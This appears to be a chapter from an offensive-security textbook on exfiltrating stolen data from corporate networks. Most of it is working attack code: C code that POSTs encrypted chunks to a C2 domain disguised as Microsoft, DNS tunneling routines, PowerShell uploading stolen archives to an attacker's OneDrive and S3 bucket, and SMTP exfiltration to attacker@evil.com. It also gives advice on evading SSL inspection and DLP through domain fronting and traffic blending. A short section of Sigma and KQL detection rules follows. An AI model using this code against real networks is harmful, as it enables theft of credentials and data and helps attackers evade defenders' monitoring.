Chapter 132

Exfiltration Techniques

Moving collected data out of the target network: HTTPS POST to attacker infrastructure, DNS tunneling for firewall-restricted environments, cloud storage provider abuse (S3, OneDrive, Dropbox), SMTP exfiltration, chunked transfer with reassembly, AES-256 + gzip pre-staging, and detection across DLP, proxy logs, and network telemetry.

Scenario

You've collected 4 GB of data: credential dumps, Active Directory exports, source code, and screenshots. The firewall allows outbound HTTPS to any destination on port 443 but blocks direct connections to known C2 IPs. The proxy enforces SSL inspection on non-categorized domains. Your DNS C2 channel is limited to ~450 bytes/second — too slow for bulk exfil. You need a multi-path strategy: compress and encrypt locally, exfil the bulk via a cloud storage provider the proxy categorizes as trusted (OneDrive), and use the DNS channel only for the most sensitive credential blob as a backup in case the primary path is blocked.

Exfiltration Channel Comparison

ChannelBandwidthFirewall RiskDLP VisibilityBest For
HTTPS POST (own infra)Full link speedMedium — new domainHigh if SSL-inspectedBulk exfil, fast ops
DNS tunneling~450 B/sLow — DNS allowed everywhereLow — DNS rarely DLP'dSmall creds, fallback channel
Cloud storage (S3/OneDrive)Full link speedLow — trusted domainsMedium — categorized as SaaSBulk exfil through proxies
SMTP emailLimited by attachment sizeMedium — port 25 often blocked, 587 less soHigh — email DLP commonSmall files, legacy environments
ICMP tunneling~100 B/packetLow if ICMP allowed outboundVery lowAir-gapped/restricted nets
Steganography in imagesVery lowLow — HTTPS image uploadVery lowHigh-stealth small payloads

HTTPS POST Exfiltration

// Chunked HTTPS POST exfiltration via WinHTTP
// Sends data in fixed-size chunks to C2 server
// Each chunk: encrypted with AES-256-GCM, base64-encoded, sent as JSON body

#define CHUNK_SIZE   (128 * 1024)   // 128 KB per POST
#define C2_HOST      L"update.microsoft-cdn.net"
#define C2_PATH      L"/telemetry/v2/upload"

typedef struct {
    DWORD chunkId;
    DWORD totalChunks;
    DWORD sessionId;
    BYTE  data[CHUNK_SIZE];
    DWORD dataLen;
} ExfilChunk;

BOOL ExfilChunkHTTPS(ExfilChunk* chunk, BYTE* aesKey) {
    // Encrypt chunk data with AES-256-GCM
    BYTE nonce[12]; BCryptGenRandom(NULL, nonce, 12, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
    BYTE encrypted[CHUNK_SIZE + 16];
    BYTE tag[16];
    DWORD encLen;
    AesGcmEncrypt(aesKey, nonce, chunk->data, chunk->dataLen,
                  encrypted, &encLen, tag);

    // Build JSON body: {"sid":N,"cid":N,"tot":N,"n":"base64","d":"base64","t":"base64"}
    char nonceB64[32], dataB64[CHUNK_SIZE * 2], tagB64[32];
    Base64Encode(nonce, 12, nonceB64);
    Base64Encode(encrypted, encLen, dataB64);
    Base64Encode(tag, 16, tagB64);

    char body[CHUNK_SIZE * 3];
    int bodyLen = sprintf(body,
        "{\"sid\":%u,\"cid\":%u,\"tot\":%u,\"n\":\"%s\",\"d\":\"%s\",\"t\":\"%s\"}",
        chunk->sessionId, chunk->chunkId, chunk->totalChunks,
        nonceB64, dataB64, tagB64);

    // Send via WinHTTP
    HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
                                      WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                                      WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    HINTERNET hConn   = WinHttpConnect(hSession, C2_HOST, INTERNET_DEFAULT_HTTPS_PORT, 0);
    HINTERNET hReq    = WinHttpOpenRequest(hConn, L"POST", C2_PATH, NULL,
                                             WINHTTP_NO_REFERER,
                                             WINHTTP_DEFAULT_ACCEPT_TYPES,
                                             WINHTTP_FLAG_SECURE);

    WinHttpAddRequestHeaders(hReq,
        L"Content-Type: application/json\r\nX-Request-ID: ",
        (DWORD)-1, WINHTTP_ADDREQ_FLAG_ADD);

    BOOL ok = WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
                                   body, bodyLen, bodyLen, 0)
           && WinHttpReceiveResponse(hReq, NULL);

    WinHttpCloseHandle(hReq);
    WinHttpCloseHandle(hConn);
    WinHttpCloseHandle(hSession);
    return ok;
}

// Main exfil loop: read file → compress → chunk → encrypt → POST
BOOL ExfilFile(const wchar_t* filePath, BYTE* aesKey, DWORD sessionId) {
    // Step 1: Read file into buffer (or stream for large files)
    // Step 2: gzip compress (zlib DeflateStream or zlib.h)
    // Step 3: split into CHUNK_SIZE blocks
    // Step 4: for each chunk → ExfilChunkHTTPS
    // Rate-limit: Sleep(500) between chunks to blend into normal traffic
}

DNS Exfiltration for Restricted Environments

# DNS exfil recap: base32-encode data into subdomain labels
# Covered in depth in ch114 — this section focuses on the operational workflow
# for using DNS as the exfil channel when HTTPS is blocked or proxy-inspected

# DNS exfil throughput math:
#   Label max length:       63 chars
#   Labels per query:       4 (leaving room for session/seq/type)
#   Usable chars per query: 4 * 63 = 252 chars base32
#   Base32 efficiency:      5 bits per char → 252 * 5 / 8 = ~157 bytes/query
#   Queries per second:     ~3 (DNS TTL + resolver caching limits)
#   Effective throughput:   ~470 bytes/second uplink

# For credential blobs (typical size: 50-500 KB):
#   50 KB / 470 B/s ≈ 1.8 minutes
#   500 KB / 470 B/s ≈ 18 minutes
# Acceptable for high-value small data, impractical for GBs

# Pre-stage for DNS exfil: compress + encrypt first
# 50 KB of JSON creds → gzip → ~8 KB → DNS exfil in ~17 seconds

# Implementation reference: ch114 DnsExfil() function
# Additions for bulk exfil:
#   - Adaptive retry on SERVFAIL (resolver didn't reach authoritative NS)
#   - Sequence number verification via TXT response ACK
#   - Session ID derived from implant GUID (prevents cross-session collision)

// DNS exfil with retry and ACK verification
BOOL DnsExfilWithRetry(const BYTE* data, DWORD len,
                        const char* sessionId, const char* c2Domain) {
    DWORD offset = 0; DWORD seq = 0;
    while (offset < len) {
        DWORD chunkLen = min(len - offset, 37);
        char encoded[64];
        Base32Encode(data + offset, chunkLen, encoded);

        char label[256];
        snprintf(label, sizeof(label),
                 "%s.%04u.%s.data.%s", encoded, seq, sessionId, c2Domain);

        int retries = 0;
        while (retries < 5) {
            char ack[64] = {0};
            if (DnsQueryTXT(label, ack, sizeof(ack)) &&
                strncmp(ack, "ACK", 3) == 0) break;
            Sleep(500 * (++retries));
        }
        if (retries == 5) return FALSE; // channel failed

        offset += chunkLen; seq++;
        Sleep(350); // ~3 queries/sec — blend with normal DNS traffic
    }
    return TRUE;
}

Cloud Storage Provider Abuse

# OneDrive/SharePoint API exfil
# Uses Microsoft Graph API — destination is microsoft.com / sharepoint.com
# Most enterprise proxies categorize these as "Microsoft Cloud Services" = trusted
# Requires: OAuth token (can be stolen from browser session, or use client_credentials
#           with an attacker-registered Azure App with Files.ReadWrite.All scope)

# Step 1: Get access token (use stolen token from browser DPAPI decrypt, or own Azure app)
$token = (Invoke-RestMethod -Uri "https://login.microsoftonline.com//oauth2/v2.0/token" `
    -Method POST -Body @{
        client_id     = ""
        client_secret = ""
        scope         = "https://graph.microsoft.com/.default"
        grant_type    = "client_credentials"
    }).access_token

# Step 2: Upload file to attacker's OneDrive via Graph API
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\exfil_package.zip")
Invoke-RestMethod `
    -Uri "https://graph.microsoft.com/v1.0/me/drive/root:/exfil/data.zip:/content" `
    -Method PUT `
    -Headers @{ Authorization = "Bearer $token"; "Content-Type" = "application/octet-stream" } `
    -Body $fileBytes

# For large files: use Graph API upload session (chunked, supports up to 250 GB)
$session = (Invoke-RestMethod `
    -Uri "https://graph.microsoft.com/v1.0/me/drive/root:/exfil/large.zip:/createUploadSession" `
    -Method POST -Headers @{ Authorization = "Bearer $token" } `
    -ContentType "application/json" -Body '{}')
$uploadUrl = $session.uploadUrl
# Then: PUT chunks to $uploadUrl with Content-Range header

# AWS S3 alternative (if target environment uses AWS):
# aws s3 cp exfil.zip s3://attacker-bucket/drop/ --endpoint-url https://s3.amazonaws.com
# Or via .NET/WinHTTP with SigV4 signed requests to any public S3 bucket

SMTP Exfiltration

// SMTP exfil via CDO (Collaboration Data Objects) — built-in Windows COM
// No external binary needed. Can use internal mail server if relay is open.
// Also useful for environments where port 587 (SMTP/TLS) is allowed outbound.

void SMTPExfil(const wchar_t* smtpHost, const wchar_t* recipient,
               const wchar_t* attachPath) {
    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    IDispatch* pMsg = NULL;
    CoCreateInstance( // CDO.Message
        __uuidof(CDO::Message), NULL, CLSCTX_INPROC_SERVER,
        __uuidof(IDispatch), (void**)&pMsg);

    // Set SMTP server via CDO configuration object
    _variant_t v;
    v = smtpHost;
    InvokeProperty(pMsg, L"Configuration", L"sendusing", _variant_t(2L)); // cdoSendUsingPort
    InvokeProperty(pMsg, L"Configuration", L"smtpserver", v);

    InvokeProperty(pMsg, L"From", _variant_t(L"noreply@microsoft.com"));
    InvokeProperty(pMsg, L"To", _variant_t(recipient));
    InvokeProperty(pMsg, L"Subject", _variant_t(L"Windows Update Report"));
    InvokeProperty(pMsg, L"TextBody", _variant_t(L"See attached diagnostics."));
    InvokeMethod(pMsg, L"AddAttachment", attachPath);
    InvokeMethod(pMsg, L"Send");

    pMsg->Release();
    CoUninitialize();
}

// PowerShell SMTP (simpler, uses System.Net.Mail):
// $smtp = New-Object Net.Mail.SmtpClient("smtp.office365.com", 587)
// $smtp.EnableSsl = $true
// $smtp.Credentials = New-Object System.Net.NetworkCredential("user","pass")
// $msg = New-Object Net.Mail.MailMessage("from@corp.com","attacker@evil.com")
// $msg.Subject = "Diagnostics"
// $msg.Attachments.Add("C:\Temp\exfil.zip")
// $smtp.Send($msg)

Compression and Pre-Staging

// Pre-exfil staging: compress + encrypt everything into one package before sending.
// Benefits: smaller transfer size, single AES key, no plaintext on wire.
// Strategy: gzip → AES-256-GCM encrypt → write staged file → exfil → delete staged file.

#include <zlib.h>

BOOL CompressAndEncrypt(const BYTE* input, DWORD inLen,
                         BYTE* aesKey,
                         BYTE** outBuf, DWORD* outLen) {
    // Step 1: gzip compress
    DWORD compBound = compressBound(inLen);
    BYTE* compressed = (BYTE*)malloc(compBound);
    uLongf compLen = compBound;
    if (compress2(compressed, &compLen, input, inLen, Z_BEST_COMPRESSION) != Z_OK) {
        free(compressed); return FALSE;
    }

    // Step 2: AES-256-GCM encrypt compressed data
    BYTE nonce[12]; BCryptGenRandom(NULL, nonce, 12, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
    BYTE tag[16];
    DWORD encLen;
    BYTE* encBuf = (BYTE*)malloc(compLen + 16);
    AesGcmEncrypt(aesKey, nonce, compressed, compLen, encBuf, &encLen, tag);
    free(compressed);

    // Step 3: Build output: [4B original_len][12B nonce][16B tag][ciphertext]
    *outLen = 4 + 12 + 16 + encLen;
    *outBuf = (BYTE*)malloc(*outLen);
    BYTE* p = *outBuf;
    *(DWORD*)p = inLen;   p += 4;
    memcpy(p, nonce, 12); p += 12;
    memcpy(p, tag, 16);   p += 16;
    memcpy(p, encBuf, encLen);
    free(encBuf);
    return TRUE;
}
Exfil operation flow: Target host | v Collect: creds + keylog + screenshots + docs | v Stage in memory: gzip compress (ratio typically 10:1 for text/JSON) AES-256-GCM encrypt with session key Write to temp file (encrypted blob only) | v Choose exfil path: If HTTPS outbound to unknown domains allowed: → POST in 128 KB chunks to C2 HTTPS listener Elif cloud storage proxy bypass: → Upload to OneDrive/S3 (attacker-controlled tenant) Elif only DNS allowed: → DNS tunnel (slow — prioritize credential blob first) | v Cleanup: Delete staged files from temp SecureZeroMemory session key No disk artifacts remaining

Detection Engineering

-- Sigma: large outbound upload to new domain (HTTPS exfil)
title: Anomalous Large HTTPS Upload to Uncategorized Domain
logsource:
  product: windows
  category: network_connection
detection:
  selection:
    EventID: 3    # Sysmon NetworkConnect
    DestinationPort: 443
    Initiated: 'true'
  filter_known:
    DestinationHostname|endswith:
      - '.microsoft.com'
      - '.windows.com'
      - '.office365.com'
      - '.cloudflare.com'
  condition: selection AND NOT filter_known
level: low
-- Note: combine with traffic volume data from proxy/firewall for threshold alert

-- MDE KQL: high outbound data volume from a single process
DeviceNetworkEvents
| where RemotePort == 443
| where ActionType == "ConnectionSuccess"
| summarize TotalBytes=sum(SentBytes), Connections=count()
    by bin(Timestamp, 5m), DeviceName, InitiatingProcessFileName, RemoteUrl
| where TotalBytes > 10485760   // > 10 MB in 5 minutes
| where InitiatingProcessFileName !in~ ("OneDrive.exe", "Teams.exe", "chrome.exe")
| order by TotalBytes desc

-- Sigma: DNS exfil — high-frequency subdomain queries for same second-level domain
title: DNS Tunneling — High Subdomain Query Rate
logsource:
  product: dns
detection:
  selection:
    QueryName|re: '^[a-z2-7]{20,}\..*\..*\.'   # long base32-like label
  condition: selection
level: medium

-- DLP approach: cloud storage upload from unexpected process
-- Network DLP (Netskope/Zscaler): flag large uploads to non-managed cloud tenants
-- Microsoft Purview: "Sensitive data uploaded to unmanaged cloud app" policy
-- Proxy categorization: cloud storage allowed but volume threshold alert

Q&A

How does SSL inspection defeat HTTPS exfiltration, and what can an implant do about it?

SSL inspection (a.k.a. TLS interception) works by deploying a trusted root certificate on all corporate endpoints. When a client makes an HTTPS connection, the proxy terminates the TLS session, decrypts the traffic, inspects it, then re-encrypts with the intercepted certificate and forwards to the destination. From the application's perspective, the certificate chain appears valid because the enterprise root CA is trusted. The proxy can now see all plaintext content — HTTP headers, request bodies, response bodies — before it reaches the destination. For HTTPS exfiltration this means the proxy can inspect the POST body, detect base64-encoded encrypted blobs, or flag uploads to uncategorized domains. Mitigations an implant can use: (1) Domain fronting — route traffic through a trusted CDN (Cloudflare, Azure Front Door) so the TLS SNI shows a categorized domain; the proxy doesn't inspect traffic to CDNs. The HTTP Host header inside the TLS tunnel points to the real C2. (2) Certificate pinning circumvention — use a C2 domain that has a certificate from a well-known CA; don't rely on obscure certs. (3) Cloud provider APIs — use the actual Microsoft Graph or AWS S3 API endpoints; proxies categorize these as trusted and may not decrypt them. (4) Traffic blending — format exfil traffic to match the content-type and structure of normal API traffic (telemetry JSON). (5) Alternate protocols — if HTTPS is inspected, DNS and ICMP tunneling bypass SSL inspection entirely because they're not TLS-based. Detection engineers should verify their proxy actually performs SSL inspection on all traffic categories — many organizations exempt cloud services, which creates the exact bypass gap attackers exploit.